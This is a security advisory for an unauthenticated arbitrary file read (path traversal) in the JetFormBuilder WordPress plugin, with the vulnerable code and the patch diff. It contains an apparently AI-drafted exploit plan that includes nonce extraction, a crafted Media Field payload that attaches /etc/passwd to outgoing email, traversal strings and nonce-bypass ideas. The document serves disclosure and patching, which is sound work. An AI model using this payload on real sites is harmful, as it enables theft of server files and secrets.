JetFormBuilder <= 3.5.6.2 - Unauthenticated Arbitrary File Read via Media Field
Description
The JetFormBuilder plugin for WordPress is vulnerable to arbitrary file read via path traversal in all versions up to, and including, 3.5.6.2. This is due to the 'Uploaded_File::set_from_array' method accepting user-supplied file paths from the Media Field preset JSON payload without validating that the path belongs to the WordPress uploads directory. Combined with an insufficient same-file check in 'File_Tools::is_same_file' that only compares basenames, this makes it possible for unauthenticated attackers to exfiltrate arbitrary local files as email attachments by submitting a crafted form request when the form is configured with a Media Field and a Send Email action with file attachment.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.5.6.2What Changed in the Fix
Changes introduced in v3.5.6.3
Source Code
WordPress.org SVN# Exploit Research Plan - CVE-2026-4373 (JetFormBuilder Arbitrary File Read) ## 1. Vulnerability Summary The **JetFormBuilder** plugin (<= 3.5.6.2) is vulnerable to an unauthenticated arbitrary file read. The vulnerability exists because the plugin trusts user-supplied file paths provided in the "M…
Show full research plan
Exploit Research Plan - CVE-2026-4373 (JetFormBuilder Arbitrary File Read)
1. Vulnerability Summary
The JetFormBuilder plugin (<= 3.5.6.2) is vulnerable to an unauthenticated arbitrary file read. The vulnerability exists because the plugin trusts user-supplied file paths provided in the "Media Field" preset data. Specifically, the Uploaded_File::set_from_array method populates a file object's internal path from an array without validating if that path is within the WordPress uploads directory.
When a form is submitted with a Media Field and a "Send Email" action configured to include attachments, an attacker can supply a crafted JSON payload for the Media Field. This payload points the "internal file path" to a sensitive local file (e.g., /etc/passwd). Because File_Tools::is_same_file only performs a weak validation (comparing the basename of a URL to the filename), an attacker can bypass security checks and force the plugin to attach arbitrary local files to the outgoing email.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(for AJAX submissions) or the permalink of a page containing a JetFormBuilder form. - Action:
jet_form_builder_submit(AJAX action) or a direct POST request. - Vulnerable Parameter: The input field name corresponding to the Media Field (e.g.,
my_media_field). - Payload: A JSON-encoded array or structured POST data containing a
filekey pointing to the target absolute path and aurlkey whose basename matches the filename being "uploaded". - Authentication: Unauthenticated (if the form is public).
- Preconditions:
- A form must exist with a Media Field.
- The form must have a Send Email Post-Submit Action.
- The Send Email action must have the Media Field selected in its Attachments settings.
3. Code Flow
- Entry Point: The user submits a form. JetFormBuilder processes the request via
Jet_Form_Builder\Actions\Action_Handler. - Preset Processing: During form processing, the plugin reconciles submitted files with "presets" (existing files).
- Reconciliation:
Jet_Form_Builder\Classes\Resources\File_Tools::get_uploaded(File $file, $preset)is called.$fileis the object representing the file being uploaded in the current request.$presetis the user-controlled data provided for the field.
- Weak Validation:
File_Tools::is_same_fileis called:
If the attacker provides aprotected static function is_same_file( File $file, Uploaded_File $uploaded_file ): bool { $info = pathinfo( $uploaded_file->get_url() ); return $file->get_name() === ( $info['basename'] ?? '' ); }urllikehttp://localhost/passwdand uploads a file namedpasswd, this returnstrue. - Object Population (Sink):
Uploaded_File::set_from_array(array $upload)is called with the attacker's data:public function set_from_array( array $upload ): Uploaded_File { if ( isset( $upload['file'] ) ) { $this->file = $upload['file']; // Path injection: /etc/passwd } ... } - Action Execution: The
Send_Email_Action::do_actionmethod executes. - Exfiltration: It calls
get_attachments(), which eventually callsUploaded_File::get_attachment_file(). This returns the injected/etc/passwdpath. - Sink:
wp_mail()is called with the local path in the$attachmentsarray, causing WordPress to read the file and attach it to the email.
4. Nonce Acquisition Strategy
JetFormBuilder requires a nonce for form submission.
- Identify Variable: The plugin typically localizes form settings in a global JavaScript object named
JetFormBuilderSettings. - Trigger Script Loading: The script and nonce are only loaded on pages containing a
jet-form-builderblock. - Execution Steps:
- Create a test page containing the target form:
wp post create --post_type=page --post_status=publish --post_content='[jet_form_builder id="ID_HERE"]' - Navigate to this page using
browser_navigate. - Extract the nonce:
browser_eval("JetFormBuilderSettings.nonce"). - Extract the Form ID if not known:
browser_eval("document.querySelector('input[name=\"_jfb_form_id\"]').value").
- Create a test page containing the target form:
5. Exploitation Strategy
Step 1: Create a Form
Create a form with a Media Field and Send Email action using WP-CLI.
Step 2: Prepare Payload
The POST request must include:
_jfb_form_id: The ID of the form._jfb_nonce: The extracted nonce.field_name: A JSON-encoded array containing the malicious file path.$_FILES['field_name']: A dummy file with a matching name.
Step 3: Execute Request
Send a multipart/form-data request to admin-ajax.php.
Payload Example (POST Body):
action: jet_form_builder_submit
_jfb_form_id: 123
_jfb_nonce: [nonce]
my_media_field: [{"url":"http://localhost/passwd", "file":"/etc/passwd"}]
Files:my_media_field -> file content: "dummy", filename: "passwd"
6. Test Data Setup
- Create the Form:
# Create a Form Post FORM_ID=$(wp post create --post_type=jet-form-builder --post_title="Exploit Form" --post_status=publish --porcelain) # Add Media Field and Email Action to the form content/meta # Note: JetFormBuilder stores actions in _jet_at_post_submit_actions meta wp post meta update $FORM_ID _jet_at_post_submit_actions '[{"id":"send_email","settings":{"mail_to":"admin@example.com","subject":"Exfiltrated","attachments":["my_media_field"]}}]' # Set the form content (Media Field) wp post update $FORM_ID --post_content='<!-- wp:jet-form-builder/media-field {"name":"my_media_field","label":"Upload"} /--><!-- wp:jet-form-builder/submit-field {"label":"Submit"} /-->' - Create a Page:
PAGE_ID=$(wp post create --post_type=page --post_title="Submit Here" --post_content="[jet_form_builder id=\"$FORM_ID\"]" --post_status=publish --porcelain)
7. Expected Results
- The HTTP response should indicate a successful submission (
{"status":"success"}). - Internally,
wp_mailwill be called with/etc/passwdas an attachment. - Since we cannot receive the email in a headless environment, we look for confirmation that the action was triggered with the malicious path.
8. Verification Steps
- Check Form Records: If "Store Form Record" is enabled, verify the recorded path.
wp jet-form-builder record list --fields=id,form_id # Inspect the meta for the record to see if /etc/passwd was processed - Mock/Log
wp_mail: Use a plugin likeWP Mail Loggingor usewp evalto check if any errors occurred during the email process that might reveal the attachment attempt. - Database Check: If the form is configured to save metadata, check the
wp_postmetafor the form record's ID to see if themy_media_fieldvalue contains/etc/passwd.
9. Alternative Approaches
- Path Traversal via URL: If
/etc/passwdis blocked, try../../../../../../etc/passwdin thefileparameter. - Different Actions: If "Send Email" is not present, check if "Insert/Update Post" allows mapping the Media Field to a post meta field, which would then be readable via the REST API or frontend.
- Bypass Nonce: Check if the nonce validation is omitted if the request is sent with a specific header or to a different endpoint (e.g., REST API). (Based on
Send_Email_Action::self_script_name, the plugin might have specific handlers for different modules).
Summary
The JetFormBuilder plugin for WordPress is vulnerable to unauthenticated arbitrary file read due to improper path validation in the Media Field processing logic. An attacker can supply an absolute local file path in a crafted JSON payload, which the plugin subsequently uses as an email attachment if the 'Send Email' post-submit action is configured.
Vulnerable Code
// includes/classes/resources/uploaded-file.php public function set_from_array( array $upload ): Uploaded_File { if ( isset( $upload['file'] ) ) { $this->file = $upload['file']; } if ( isset( $upload['url'] ) ) { $this->url = $upload['url']; } --- // includes/classes/resources/file-tools.php protected static function is_same_file( File $file, Uploaded_File $uploaded_file ): bool { $info = pathinfo( $uploaded_file->get_url() ); return $file->get_name() === ( $info['basename'] ?? '' ); }
Security Fix
@@ -75,7 +75,7 @@ // preset field $updated = str_replace( '<!-- field -->', $this->get_field_preset( $file ), $updated ); - $image_ext = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'svg', 'webp' ); + $image_ext = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'svg', 'webp', 'avif' ); $img_ext_preg = '!.(' . join( '|', $image_ext ) . ')$!i'; if ( preg_match( $img_ext_preg, $file['url'] ) ) { @@ -30,7 +30,13 @@ } protected static function is_same_file( File $file, Uploaded_File $uploaded_file ): bool { - $info = pathinfo( $uploaded_file->get_url() ); + $preset_path = $uploaded_file->get_attachment_file(); + + if ( ! $preset_path ) { + return false; + } + + $info = pathinfo( $preset_path ); return $file->get_name() === ( $info['basename'] ?? '' ); } @@ -96,17 +96,17 @@ public function set_from_array( array $upload ): Uploaded_File { if ( isset( $upload['file'] ) ) { - $this->file = $upload['file']; + $this->file = self::normalize_allowed_upload_file_path( (string) $upload['file'] ); } if ( isset( $upload['url'] ) ) { - $this->url = $upload['url']; + $this->url = esc_url_raw( (string) $upload['url'] ); } if ( isset( $upload['type'] ) ) { - $this->type = $upload['type']; + $this->type = sanitize_mime_type( (string) $upload['type'] ); } if ( isset( $upload['id'] ) ) { - $this->set_attachment_id( (string) $upload['id'] ); + $this->set_attachment_id( (string) absint( $upload['id'] ) ); } return $this; @@ -185,7 +185,10 @@ $file = $this->get_file(); if ( $file ) { - return $file; + $file = self::normalize_allowed_upload_file_path( $file ); + if ( $file ) { + return $file; + } } $id = $this->get_attachment_id(); @@ -197,13 +200,59 @@ $file = get_attached_file( $id ); - return is_string( $file ) ? $file : ''; + if ( ! is_string( $file ) ) { + return ''; + } + + return self::normalize_allowed_upload_file_path( $file ); } /** * @param string $url */ public function set_url( string $url ) { - $this->url = $url; + $this->url = esc_url_raw( $url ); + } + + /** + * Normalize path and allow only existing files inside wp-content uploads directory. + * + * @return string Normalized realpath to a file in uploads, or empty string. + */ + public static function normalize_allowed_upload_file_path( string $file ): string { + if ( '' === $file ) { + return ''; + } + + $path = wp_normalize_path( $file ); + $real = realpath( $path ); + + if ( false === $real ) { + return ''; + } + + $real = wp_normalize_path( $real ); + $real = untrailingslashit( $real ); + + $uploads = wp_get_upload_dir(); + $base = (string) ( $uploads['basedir'] ?? '' ); + + if ( '' === $base ) { + return ''; + } + + $base_real = realpath( $base ); + if ( false === $base_real ) { + return ''; + } + + $base = wp_normalize_path( $base_real ); + $base = untrailingslashit( $base ); + + if ( 0 === strpos( $real, $base . '/' ) && is_file( $real ) ) { + return $real; + } + + return ''; } } @@ -5,6 +5,7 @@ use Jet_Form_Builder\Actions\Action_Handler; use Jet_Form_Builder\Actions\Types\Base; use Jet_Form_Builder\Classes\Http\Http_Tools; +use Jet_Form_Builder\Classes\Resources\Uploaded_File; use Jet_Form_Builder\Classes\Tools; use Jet_Form_Builder\Exceptions\Action_Exception; use Jet_Form_Builder\Request\Request_Tools; @@ -397,7 +398,29 @@ ); } - return $attachments; + return $this->filter_safe_attachments( $attachments ); + } + + /** + * Allow only readable files within the uploads directory. + */ + private function filter_safe_attachments( array $attachments ): array { + $safe = array(); + + foreach ( $attachments as $attachment ) { + if ( ! is_string( $attachment ) || '' === $attachment ) { + continue; + } + + $allowed = Uploaded_File::normalize_allowed_upload_file_path( $attachment ); + if ( '' === $allowed || ! is_file( $allowed ) || ! is_readable( $allowed ) ) { + continue; + } + + $safe[] = $allowed; + } + + return array_values( array_unique( $safe ) ); }
Exploit Outline
To exploit this vulnerability, an attacker first identifies a JetFormBuilder form on the target site that uses a Media Field and has a 'Send Email' post-submit action configured to include that field as an attachment. The attacker obtains the necessary submission nonce from the page's source code. They then perform a multipart POST request to the `jet_form_builder_submit` action, including a crafted JSON payload in the Media Field's input name. This payload contains a `file` key pointing to a sensitive absolute path (e.g., `/etc/passwd`) and a `url` key with a matching basename to bypass the plugin's internal consistency checks. Upon submission, the plugin validates the dummy file provided in the upload request against the preset JSON data, assigns the malicious absolute path to the file object, and subsequently attaches that file to the email sent by the 'Send Email' action.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.